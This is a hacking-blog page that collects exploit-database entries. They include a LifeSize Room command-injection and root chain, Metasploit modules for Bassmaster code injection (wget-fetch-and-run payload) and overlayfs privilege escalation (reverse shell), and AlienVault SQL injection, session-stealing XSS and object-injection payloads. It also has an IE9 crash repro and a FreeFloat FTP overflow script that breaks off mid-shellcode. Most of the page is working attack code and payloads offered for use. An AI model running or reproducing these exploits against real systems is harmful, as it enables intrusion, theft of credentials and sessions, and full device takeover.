Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863587955

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://github.com/XiphosResearch/exploits/tree/master/deathsize

LifeSize Room 5.0.9, remote config disclosure, code execution & local privilege escalation

Ultimately the Lifesize Room products have fundamentally flawed firmware, many similar very bugs in the WebUI exist and thier support team have been recommending that port 443 isn't accessible via the internet.

They've been alerted to several very similar bugs, and in some cases have fixed one gaping security hole only to leave another one literally 10 lines above completely untouched. facepalm

What makes this different? This exploit will run your payload as root.

Description

This exploit uses the LsSystemRestore.sh script to disclose the current configuration, that is then leveraged to gain access to exploitable APIs in the admin portal which allow arbitrary command injection, then uses a local privilege escalation bug to execute the payload as root.

This will work as long as port 443 is open on the phone, Lifesize support should recommend that the power and ethernet cables are disconnected from the device to ensure it remains secure.

LsSystemRestore.sh allows autosh commands to be executed without any authentication, this is used to grab the Admin password via the get config -P command.

Using the Admin password AMF commands can be sent to the LSRoom_Remoting endpoint, this contains a method called doPrefCommand which is vulnerable to command injection.

function doPrefCommand($cmd, $id){

        // Look for the existence of a "pref " and ";" needle.
        $invalidCmd = $this->scrubPrefString($cmd);

        if ( $invalidCmd )
        {
            return "invalid_command";
        }

        // If we get to here, we want to double check the command for
        // any unwanted characters:  #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and "
        //$cleanCommand = escapeshellcmd($cmd);

        $prefData = array();
        $value = rtrim(shell_exec($cmd));
What's interesting here is that the escapeshellcmd function is commented out, this would have prevented the command injection, but all of the code on the firmware smells of barely competent development and least-effort attempts to patch security vulnerabilities.

Local privilege escalation to root is gained by executing the setuid tcpdump_manager executable, which runs a program called reset_tcpdump using PATH to resolve its location using PATH=/tmp:$PATH tcpdump_manager

Other exploits exist in the 'support' portal, providing command execution, for example in support/download_file.php:

<html>
<head>
<?php
print('
</head>
<body>
<h1>Download File </h1>
');

$file_to_download=$_REQUEST['file_to_download'];
{
    print("<hr>\n");
    shell_exec("rm tmp/tmp-file.tmp");
        shell_exec("cp $file_to_download tmp/tmp-file.tmp");
Usage

$ deathsize.php 192.168.40.39 payload
[*] Retrieving admin password
[*] Saving config for 192.168.40.39
[*] Admin password is: 1234
[*] Authenticating for AMF RPC
[*] Sending command: ...
...
This will save the configuration for the device into the local file 192.168.40.39.config and then execute the code in your payload file as root on the device and print out the response.

Timeline

13th June 2016 - Notified LifeSize of multiple vulnerabilities
15th June - LifeSize start spamming my inbox with marketing messages
16th June - Requested escallation, support requested demo
22nd June - Telling LifeSize that no... just changing the password doesn't fix it
30th June - Test device provided by support
1st July - Owned their test device running latest firmware
4th July - Support can't reproduce or understand exploit
5th July - Engineering ticket created
7th July - Support recommend adding firewall, sigh
8th August - Provide PoC
Have had no further contact with them, unable to get a CVE assigned for this, product will be EOL in January 2017, seems like there's no firmware update coming...


Full Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40690.zip
            
# Exploit Title: SunellSecurity NVR / Cams - Buffer overflow in CGI
# Date: 11.2.2016
# Exploit Author: qwsj
# Vendor Homepage: https://github.com/qwsj
# Version: 1.6.08-09 / 2.0.06-08
# Tested on: Windows / Linux

Bug in CGI scrypt's for develop.
Web service buffer overflow and leading to a stop web service, and the device rebooted.

Symbols (1072): -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# For NVR:
Version firmware:
1.6.0902.0000.3.0.29.0.0
1.6.0802.0000.0.0.2906.1.0
Use link: http://IP/cgi-bin/videoStream.cgi?userName=

# For Cams:
Version firmware:
2.0.0601.1002.3.0.56.0.1_TD
2.0.0801.1002.1.1.125.0.0
2.0.0601.1002.3.0.33.0.12
Use link: http://IP/cgi-bin/image.cgi?userName=

# Eg: http://IP/cgi-bin/image.cgi?userName=-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ЯR qwsj 2016
            
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution',
      'Description'    => %q{
        This module exploits an un-authenticated code injection vulnerability in the bassmaster
        nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an
        attacker to dynamically execute JavaScript code on the server side using an eval.

        Note that the code uses a '\x2f' character so that we hit the match on the regex.
      },
      'Author'         =>
        [
          'mr_me <mr_me@offensive-security.com>',      # msf
          'Jarda Kotesovec'                            # original bug finder
        ],
      'References'  =>
        [
          [ 'CVE', '2014-7205'],
          [ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'],        # nodejs advisory
        ],
      'License'        => MSF_LICENSE,
      'Platform'    => ['linux', 'bsd'],                                                 # binary > native JavaScript
      'Arch'        => [ARCH_X86, ARCH_X86_64],
      'Privileged'     => false,
      'Targets'     =>
        [
          [ 'Bassmaster <= 1.5.1', {} ]                                                  # Other versions are also affected
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Nov 1 2016'))
    register_options(
      [
        Opt::RPORT(8080),                                                                # default port for the examples/batch.js file
        OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file
        OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
      ], self.class)
  end

  def check

    # So if we can append an encapsulated string into the body
    # we know that we can execute arbitrary JavaScript code
    rando  = rand_text_alpha(8+rand(8))
    check  = "+'#{rando}'"

    # testing
    requests = [
      {:method => "get", :path => "/profile"},
      {:method => "get", :path => "/item"},
      {:method => "get", :path => "/item/$1.id#{check}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
    ]

    post = {:requests => requests}

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(datastore['URIPATH']),
      'ctype' => 'application/json',
      'data'   => post.to_json
    })

    # default example app
    if res and res.code == 200 and res.body =~ /#{rando}/
      return CheckCode::Vulnerable

    # non-default app
    elsif res and res.code == 500 and res.body =~ /#{rando}/
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def on_request_uri(cli, request)
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  def send_payload
    @bd = rand_text_alpha(8+rand(8))
    pn  = rand_text_alpha(8+rand(8))
    register_file_for_cleanup("/tmp/#{@bd}")
    cmd  = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};"
    cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};"
    cmd << "\\x2ftmp\\x2f#{@bd}"
    pay = ";require('child_process').exec('#{cmd}');"

    # pwning
    requests = [
      {:method => "get", :path => "/profile"},
      {:method => "get", :path => "/item"},
      {:method => "get", :path => "/item/$1.id#{pay}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
    ]

    post = {:requests => requests}

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(datastore['URIPATH']),
      'ctype' => 'application/json',
      'data'   => post.to_json
    })

    # default example app
    if res and res.code == 200 and res.body =~ /id/
      return true

    # incase we are not targeting the default app
    elsif res and res.code == 500 and es.body !=~ /id/
      return true
    end
    return false
  end

  def start_http_server
    @pl = generate_payload_exe
    @elf_sent = false
    downfile = rand_text_alpha(8+rand(8))
    resource_uri = "\\x2f#{downfile}"
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    # do not use SSL for the attacking web server
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    @service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
    service_url_payload = srv_host + resource_uri
    print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => resource_uri
    }})
    datastore['SSL'] = true if ssl_restore
    connect
  end

  def exploit
      start_http_server
      if send_payload
        print_good("Injected payload")
        # we need to delay, for the stager
        select(nil, nil, nil, 5)
      end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'Overlayfs Privilege Escalation',
        'Description'    => %q{
          This module attempts to exploit two different CVEs related to overlayfs.
          CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
                                            3.16.0-25 (14.10 default) < 3.16.0-41
                                            3.19.0-18 (15.04 default) < 3.19.0-21
          CVE-2015-8660:
              Ubuntu:
                     3.19.0-18 < 3.19.0-43
                     4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
              Fedora:
                     < 4.2.8 (vulnerable, un-tested)
              Red Hat:
                     < 3.10.0-327 (rhel 6, vulnerable, un-tested)
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <mike@shorebreaksecurity.com>',  # Module
            'rebel'                         # Discovery
          ],
        'DisclosureDate' => 'Jun 16 2015',
        'Platform'       => [ 'linux'],
        'Arch'           => [ ARCH_X86, ARCH_X86_64 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        =>
          [
            [ 'CVE-2015-1328', { } ],
            [ 'CVE-2015-8660', { } ]
          ],
        'DefaultTarget'  => 1,
        'DefaultOptions' =>
          {
            'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
          },
        'References'     =>
          [
            [ 'EDB', '39166'], # CVE-2015-8660
            [ 'EDB', '37292'], # CVE-2015-1328
            [ 'CVE', '2015-1328'],
            [ 'CVE', '2015-8660']
          ]
      ))
    register_options(
      [
        OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
        OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
      ], self.class)
  end

  def check
    def mounts_exist?()
      vprint_status('Checking if mount points exist')
      if target.name == 'CVE-2015-1328'
        if not directory?('/tmp/ns_sploit')
          vprint_good('/tmp/ns_sploit not created')
          return true
        else
          print_error('/tmp/ns_sploit directory exists.  Please delete.')
          return false
        end
      elsif target.name == 'CVE-2015-8660'
        if not directory?('/tmp/haxhax')
          vprint_good('/tmp/haxhax not created')
          return true
        else
          print_error('/tmp/haxhax directory exists.  Please delete.')
          return false
        end
      end
    end

    def kernel_vuln?()
      os_id = cmd_exec('grep ^ID= /etc/os-release')
      case os_id
      when 'ID=ubuntu'
        kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
        case kernel.release.to_s
        when '3.13.0'
          if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        when '3.16.0'
          if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        when '3.19.0'
          if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
            return true
          elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        when '4.2.0'
          if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        else
          print_error("Non-vuln kernel #{kernel}")
          return false
        end
      when 'ID=fedora'
        kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
        # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
        # => "4.0.4-301"
        if kernel.release < Gem::Version.new('4.2.8')
          vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660.  Exploitation UNTESTED")
          return true
        else
          print_error("Non-vuln kernel #{kernel}")
          return false
        end
      else
        print_error("Unknown OS: #{os_id}")
        return false
      end
    end

    if mounts_exist?() && kernel_vuln?()
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

  def exploit

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    filename = rand_text_alphanumeric(8)
    executable_path = "#{datastore['WritableDir']}/#{filename}"
    payloadname = rand_text_alphanumeric(8)
    payload_path = "#{datastore['WritableDir']}/#{payloadname}"

    def has_prereqs?()
      gcc = cmd_exec('which gcc')
      if gcc.include?('gcc')
        vprint_good('gcc is installed')
      else
        print_error('gcc is not installed.  Compiling will fail.')
      end
      return gcc.include?('gcc')
    end

    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
      if has_prereqs?()
        compile = true
        vprint_status('Live compiling exploit on system')
      else
        vprint_status('Dropping pre-compiled exploit on system')
      end
    end
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    def upload_and_chmod(fname, fcontent, cleanup=true)
      print_status "Writing to #{fname} (#{fcontent.size} bytes)"
      rm_f fname
      write_file(fname, fcontent)
      cmd_exec("chmod +x #{fname}")
      if cleanup
        register_file_for_cleanup(fname)
      end
    end

    def on_new_session(session)
      super
      if target.name == 'CVE-2015-1328'
        session.shell_command("/bin/su") #this doesnt work on meterpreter?????
        # we cleanup here instead of earlier since we needed the /bin/su in our new session
        session.shell_command('rm -f /etc/ld.so.preload')
        session.shell_command('rm -f /tmp/ofs-lib.so')
      end
    end

    if compile
      begin
        if target.name == 'CVE-2015-1328'
          # direct copy of code from exploit-db.  There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
          # Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
          path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
          fd = ::File.open( path, "rb")
          cve_2015_1328 = fd.read(fd.stat.size)
          fd.close

          # pulled out from 1328.c's LIB define
          path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
          fd = ::File.open( path, "rb")
          ofs_lib = fd.read(fd.stat.size)
          fd.close
        else
          # direct copy of code from exploit-db.  There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
          path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
          fd = ::File.open( path, "rb")
          cve_2015_8660 = fd.read(fd.stat.size)
          fd.close
        end
      rescue
        compile = false #hdm said external folder is optional and all module should run even if external is deleted.  If we fail to load, default to binaries
      end
    end


    if compile
      if target.name == 'CVE-2015-1328'
        cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
                            "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
        upload_and_chmod("#{executable_path}.c", cve_2015_1328)
        ofs_path = "#{datastore['WritableDir']}/ofs-lib"
        upload_and_chmod("#{ofs_path}.c", ofs_lib)
        cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
        register_file_for_cleanup("#{ofs_path}.c")
      else
        cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
                            "os.execl('#{payload_path}','#{payloadname}')")
        upload_and_chmod("#{executable_path}.c", cve_2015_8660)
      end
      vprint_status("Compiling #{executable_path}.c")
      cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
      register_file_for_cleanup(executable_path)
    else
      if target.name == 'CVE-2015-1328'
        path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
        fd = ::File.open( path, "rb")
        cve_2015_1328 = fd.read(fd.stat.size)
        fd.close
        upload_and_chmod(executable_path, cve_2015_1328)

        path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
        fd = ::File.open( path, "rb")
        ofs_lib = fd.read(fd.stat.size)
        fd.close
        ofs_path = "#{datastore['WritableDir']}/ofs-lib"
        # dont auto cleanup or else it happens too quickly and we never escalate ourprivs
        upload_and_chmod("#{ofs_path}.so", ofs_lib, false)

        # overwrite with the hardcoded variable names in the compiled versions
        payload_filename = 'lXqzVpYN'
        payload_path = '/tmp/lXqzVpYN'
      else
        path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
        fd = ::File.open( path, "rb")
        cve_2015_8660 = fd.read(fd.stat.size)
        fd.close
        upload_and_chmod(executable_path, cve_2015_8660)
        # overwrite with the hardcoded variable names in the compiled versions
        payload_filename = '1H0qLaq2'
        payload_path = '/tmp/1H0qLaq2'
      end
    end

    upload_and_chmod(payload_path, generate_payload_exe)
    vprint_status('Exploiting...')
    output = cmd_exec(executable_path)
    output.each_line { |line| vprint_status(line.chomp) }
  end
end
            
# thel3l

# Title: Citrix Receiver/Receiver Desktop Lock 4.5 Incorrect Access Control
# CVE: CVE-2016-9111
# Date of Discovery: October 27 2016
# Exploit Author: Rithwik Jayasimha
# Author Homepage/Contact: https://thel3l.me
# Vendor Name: Citrix
# Vendor Homepage: https://www.citrix.com/
# Software Link: Receiver - https://www.citrix.com/go/receiver.html
                 Receiver Desktop Lock - https://www.citrix.com/downloads/citrix-receiver/additional-client-software/receiver-desktop-lock-45.html
# Version: 10.6.3
# Tested on: Windows 8.1, macOS 10.12.1 Sierra
# Category: local
# Vulnerability type: Incorrect Access Control


# Description: Allows attacker with physical access to VDI to bypass authentication requirement. Citrix Receiver and/or Desktop Lock for Mac OSX and Windows suffer from a local incorrect access control.
To exploit this:
1. An attacker would first identify a VDI with a logged in user, which has been locked.
2. The attacker then proceeds to disconnect the system from the network temporarily (removing and reinserting the LAN cable is enough).
3. Citrix Receiver then proceeds to unlock the session and allows the attacker full access to the connected user's account without confirming the user's identity.

# Additional Notes, References and links:
    * This exploit is not 100% reliable - it may take a couple of tries to be able to accurately reproduce this behavior.
    * This attack has only been attempted with physical access - it may also be possible to remotely script a restart of a network adapter to cause the same behavior.
            
<!--
Source: http://blog.skylined.nl/20161101001.html

Synopsis

A specially crafted webpage can cause Microsoft Internet Explorer 9 to reallocate a memory buffer in order to grow it in size. The original buffer will be copied to newly allocated memory and then freed. The code continues to use the freed copy of the buffer.

Known affected versions, attack vectors and mitigations

Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted webpage. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
-->

<!doctype html>
<script>
  oTextArea = document.createElement('textarea');
  oTextArea.dataSrc = 1;
  oTextArea.id = 1;
  oTextArea.innerHTML = 1;
  oTextArea.onvolumechange = 1;
  oTextArea.style.setProperty('list-style', "url()");
</script>


<!--
Analysis

The CAttrArray object initially allocates a CImplAry buffer of 0x40 bytes, which can store 4 attributes. When the buffer is full, it is grown to 0x60 bytes. A new buffer is allocated at a different location in memory and the contents of the original buffer is copied there. The repro causes the code to do this, but the code continues to access the original buffer after it has been freed.

Exploit

If an attacker was able to cause MSIE to allocate 0x40 bytes of memory and have some control over the contents of this memory before MSIE reuses the freed memory, there is a chance that this issue could be used to execute arbitrary code. I did not attempt to write an exploit for this vulnerability myself.

Timeline

- April 2014: This vulnerability was found through fuzzing.
- July 2014: This vulnerability was submitted to ZDI.
- July 2014: ZDI reports a collision with a report by another researcher. (From the credits given by Microsoft and ZDI, I surmise that it was Peter 'corelanc0d3r' Van Eeckhoutte of Corelan who reported this issue.
- October 2014: Microsoft release MS14-056, which addresses this issue.
- November 2016: Details of this issue are released.
-->
            
Details
=======

Product: Alienvault OSSIM/USM
Vulnerability: SQL Injection
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-8582
Vulnerable Versions: <=5.3.1
Fixed Version: 5.3.2



Vulnerability Details
=====================

A SQL injection vulnerability exists in the value parameter of
/ossim/dashboard/sections/widgets/data/gauge.php on line 231. By
sending a serialized array with a SQL query in the type field, it's
possible to execute an arbitrary SQL query. The result is not
displayed on the screen, but it can be exploited as a blind SQLi or
have the output directed to a file and then retrieved via another
request. Authentication is required.



POC
===

This request will dump user password hashes to a file:

/ossim/dashboard/sections/widgets/data/gauge.php?&type=alarm&wtype=blah&asset=1&height=1&value=a%3A1%3A%7Bs%3A4%3A%22type%22%3Bs%3A67%3A%22pass+from+users+INTO+OUTFILE+%27%2Ftmp%2F10.0.0.123_pass_tshark.pcap%27--+-%22%3B%7D

The file containing the output can then be retrieved with the following request:
/ossim/pcap/download.php?scan_name=pass&sensor_ip=10.0.0.123

It's also possible to read the contents of any file readable by the
mysql user by using mysql's load_file function. For example, changing
the request to something like select load_file('/etc/passwd') .



Timeline
========

08/03/16 - Reported to Vendor
10/03/16 - Fixed in version 5.3.2



References
==========

https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities
            
Details
=======

Product: Alienvault OSSIM/USM
Vulnerability: Stored XSS
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-8581
CVSS: 3.5
Vulnerable Versions: <=5.3.1
Fixed Version: 5.3.2



Vulnerability Details
=====================

A stored XSS vulnerability exists in the User-Agent header of the
login process. It's possible to inject a script into that header that
then gets executed when mousing over the User-Agent field in Settings
-> Current Sessions.



POC
===

The POC uses jQuery to send all session IDs on the "Current Sessions"
page to an arbitrary site (Google, in this case)

<script>$('#ops_table
.ops_id').each(function(){$.get("https://www.google.com/",{session:($(this).html())});});</script>



Timeline
========

08/03/16 - Reported to Vendor
10/03/16 - Fixed in version 5.3.2



References
==========

https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities
            
Details
=======

Product: Alienvault OSSIM/USM
Vulnerability: PHP Object Injection
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-8580
Vulnerable Versions: <=5.3.1
Fixed Version: 5.3.2



Vulnerability Details
=====================

A PHP object injection vulnerability exists in multiple widget files
due to the unsafe use of the unserialize() function. The affected
files include flow_chart.php, gauge.php, honeypot.php,
image.php,inventory.php, otx.php, rss.php, security.php, siem.php,
taxonomy.php, tickets.php, and url.php.
An authenticated attacker could send a serialized PHP object to one of
the vulnerable pages and potentially gain code execution via magic
methods in included classes.



POC
====

This benign POC injects the IDS_Report class from PHPIDS into the
refresh parameter of image.php. The __toString method of IDS_Report is
then executed and the output is displayed in the value of the content
field in the response:

/ossim/dashboard/sections/widgets/data/image.php?type=test&wtype=blah&height=1&range=1&class=1&id=&adj=1&value=a%3A5%3A{s%3A3%3A%22top%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22adjustment%22%3Bs%3A8%3A%22original%22%3Bs%3A6%3A%22height%22%3Bs%3A3%3A%22123%22%3Bs%3A7%3A%22refresh%22%3BO%3A10%3A%22IDS_Report%22%3A3%3A{s%3A9%3A%22%00*%00events%22%3Bs%3A9%3A%22testevent%22%3Bs%3A7%3A%22%00*%00tags%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00*%00impact%22%3Bs%3A16%3A%22Object+Injection%22%3B}s%3A7%3A%22content%22%3Bs%3A36%3A%22aHR0cDovL3d3dy50ZXN0LmNvbS8xLnBuZw%3D%3D%22%3B}



Timeline
========

08/03/16 - Reported to Vendor
10/03/16 - Fixed in version 5.3.2



References
==========

https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities
            
import socket
import sys
import os

print '''

                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScrR1pTK1dd13.slammer@gmail.com   # 
                ##############################################

# Exploit Title: FreefloatFTPserver1.0_dir_command_remotecode_exploit
# Date: 2016.11.02
# Exploit Author: Greg Priest
# Version: FreefloatFTPserver1.0
# Tested on: Windows7 x64 HUN/ENG Professional
'''

ip = raw_input("Target ip: ")
port = 21
overflow = 'A' * 247
eip =  '\xF4\xAF\xEA\x75' + '\x90' * 10
#shellcode calc.exe
shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
